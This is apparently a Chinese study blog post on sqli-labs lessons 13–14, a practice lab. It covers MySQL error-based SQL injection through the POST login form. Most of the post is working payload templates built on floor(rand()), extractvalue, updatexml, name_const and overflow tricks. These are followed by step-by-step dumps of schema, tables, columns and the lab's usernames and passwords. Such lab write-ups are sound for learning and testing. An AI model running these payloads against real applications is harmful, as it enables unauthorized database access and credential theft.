Sqli-labs 复习 Less13-14 报错型盲注 - POST

之前学习了一遍 sqli-labs，这是巩固复习一遍，代码全部手敲，加深印象

Sqli-labs 博客目录

报错型 SQL 盲注

函数讲解

1. 盲注用到的函数

   rand()  产生一个不固定的0~1的随机数列，加了参数之后会变成固定的伪随机数列
   rand(0),rand(1)，当使用一个整数参数时，rand使用该参数作为种子生成一个固定的伪随机数列
   floor  向下取整 floor(2.5) == 2
   count()统计元组的个数
   concat() 字符串连接 concat('~~','aaa','bbb',) =>'aaa~~bbb' 
   concat_ws() 字符串连接 concat_ws('~~','aaa','bbb',) =>'aaa~~bbb'   
   extractvalue(最长32位) MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数，分别是ExtractValue()和UpdateXML()
   updateXml(最长32位)
   name_const(): mysql存储过程中的本地变量会被一个内部函数 name_const 转化,似乎是专门为存储过程设计的,没有提到有其它特别之处. 
   

   Less-13 使用 name_const() 报错注入
   Less-14 使用 extractvalue() 报错注入

注入方法

1. 布尔型盲注手法，按位爆破

   1. left()
   2. ascii()、substr()
   3. regexp
   4. ord()、mid()

   ?id=1’and left((select version() limit 0,1),1)=’s’#

2. 利用 floor(rand(x)*2) 的执行bug进行报错注入

   ?id=1” union select 1,count(*),concat((你希望的查询语句),floor(rand(0)*2))a from information_schema.columns group by a#

   ?id=1” and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#

3. 利用 extractvalue() 函数报错注入(有长度限制,最长32位,mysql 5.0不可用，mysql 5.6可用)

   ?id=1” and extractvalue(1,concat(0x7e,(你希望的查询语句)))#

   ?id=1” and extractvalue(1,concat(0x7e,((select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a))))#

   ?id=1” and extractvalue(1,concat(0x7e,(database())))#

   ?id=1” and extractvalue(1,concat(0x7e,((select * from(select concat((select username from security.users limit 0,1))x from information_schema.tables group by x)a))))#

4. 利用 updatexml() 函数报错注入(有长度限制,最长32位)

   ?id=1” and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#

5. 利用 name_const 数据的重复性(低版本可用，mysql 5.0可用，mysql 5.6不可用 )

   ?id=1” union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #

   ?id=1” and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#

6. 利用 double 数值类型超出范围进行报错注入

   ?id=1” union select (exp(~(select * from(select user())a))),2,3#

   未测试成功

7. 利用 bigint 溢出进行报错注入(这些溢出错误会导致MySQL版本5.5.5及以上)

   基于 bigint 溢出错误的SQL注入( https://www.cnblogs.com/lcamry/articles/5509112.html)

   未测试成功

   ?id=1” union select (!(select * from (select user())x) - ~0),2,3#

   下面为句式：

   !(select*from(select user())x)-~0

   (select(!x-~0)from(select(select user())x)a)

   (select!x-~0.from(select(select user())x)a)

   select ~0+!(select*from(select user())x)

8. 一个句式组合:

   (select * from(select concat((你希望的查询语句))x from information_schema.tables group by x)a)

   遇到无法使用 select * from * 查询的时候，可以使用这个万能句式，代替下面的“你希望的查询语句”

   ?id=1" and (select 1 from(select count(*),concat((你希望的查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)#
   
   ?id=1" and extractvalue(1,concat(0x7e,(你希望的查询语句)))#
   
   ?id=1" and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)#
   
   ?id=1" and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#
   
   ?id=1" union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #
   
   ?id=1" union select (exp(~(select * from(select user())a))),2,3#
   
   and so on...
   

Less-13 报错型盲注-单引号括号

1. 测试

   低版本可用，mysql 5.0可用，mysql 5.6不可用

   在 username 输入 1’) order by 2# //无显示

   在 password 输入 任意内容

   在 username 输入 1’) order by 3# //报错

   在 password 输入 任意内容

   ?id=1” union select 1,2,3 from (select name_const((你希望的查询语句),1),name_const((你希望的查询语句),1))x #

   ?id=1” and exists(select * from (select * from(select name_const((你希望的查询语句),0))a join(select name_const((你希望的查询语句),0))b)c)#

2. 猜数据库

   1’) union select 1,2 from (select name_const((select version() limit 0,1)),1),name_const((select version() limit 0,1),1))x#

   1’) union select 1,2 from (select name_const((select table_schema from information_schema.tables limit 0,1),1),name_const((select table_schema from information_schema.tables limit 0,1),1))x #

   1’) and exists(select * from (select * from(select name_const((select table_schema from information_schema.tables limit 0,1),1))a join(select name_const((select table_schema from information_schema.tables limit 0,1),1))b)c)#

   结果显示 security

3. 猜表名

   1’) union select 1,2,3 from (select name_const((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1),name_const((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1))x#

   1’) union select 1,2,3 from (select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1),name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1))x#

   1’) and exists(select * from (select * from(select name_const((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1))a join(select name_const((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1))b)c)#

   1’) and exists(select * from (select * from(select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1))a join(select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1))b)c)#

   结果显示 ‘emails ,referers ,uagents ,users

4. 猜列名

   1’) union select 1,2,3 from (select name_const((select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),1),name_const((select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),1))x#

   1’) union select 1,2,3 from (select name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1),name_const((select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’),1))x#

   1’) and exists(select * from (select * from(select name_const((select group_concat(column_name,0x20) from information_schema.columns where table_name=’users’ and table_schema=’security’),1))a join(select name_const((select group_concat(column_name,0x20) from information_schema.columns where table_name=’users’ and table_schema=’security’),1))b)c)#

   1’) and exists(select * from (select * from(select name_const((select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),1))a join(select name_const((select column_name from information_schema.columns where table_name=’users’ and table_schema=’security’ limit 0,1),1))b)c)#

   结果为 ‘id ,username ,password ‘

5. 猜数据

   1’) union select 1,2,3 1’) union select 1,2,3 from (select name_const((select group_concat(username,0x20) from security.users),1),name_const((select group_concat(username,0x20) from security.users),1))x#

   1’) and exists(select * from (select * from(select name_const((select group_concat(password,0x20) from security.users),1))a join(select name_const((select group_concat(password,0x20) from security.users),1))b)c)#

   结果为

   username：'Dumb ,Angelina ,Dummy ,secure ,stupid ,superman ,batman ,admin ,'
   password: 'Dumb ,I-kill-you ,p@ssword ,crappy ,stupidity ,genious ,mobile ,'
   

Less-14 报错型盲注-双引号

1. 测试

   有长度限制,最长32位,mysql 5.0不可用，mysql 5.6可用

   在 username 输入 1” order by 2#

   在 username 输入 1” order by 3#

   在 password 输入 任意

   1” and extractvalue(1,concat(0x7e,(你希望的查询语句)))#

2. 猜数据库

   1” and extractvalue(1,concat(0x7e,(database())))#

   1” and extractvalue(1,concat(0x7e,(select table_schema from information_schema.tables limit 0,1)))#

   结果为 security

3. 猜表名

   1” and extractvalue(1,concat(0x7e,(select group_concat(table_name,0x20) from information_schema.tables where table_schema=’security’)))#

   结果为 emails ,referers ,uagents ,user

4. 猜列名

   1” and extractvalue(1,concat(0x7e,(select group_concat(column_name,0x20) from information_schema.columns where table_name=’users’ and table_schema=’security’)))#

   结果为 id ,username ,password

5. 猜数据

   1” and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users)))#

   1” and extractvalue(1,concat(0x7e,(select group_concat(password) from security.users)))#

   结果为(输出结果有长度限制)

   username:Dumb,Angelina,Dummy,secure,stup
   password:Dumb,I-kill-you,p@ssword,crappy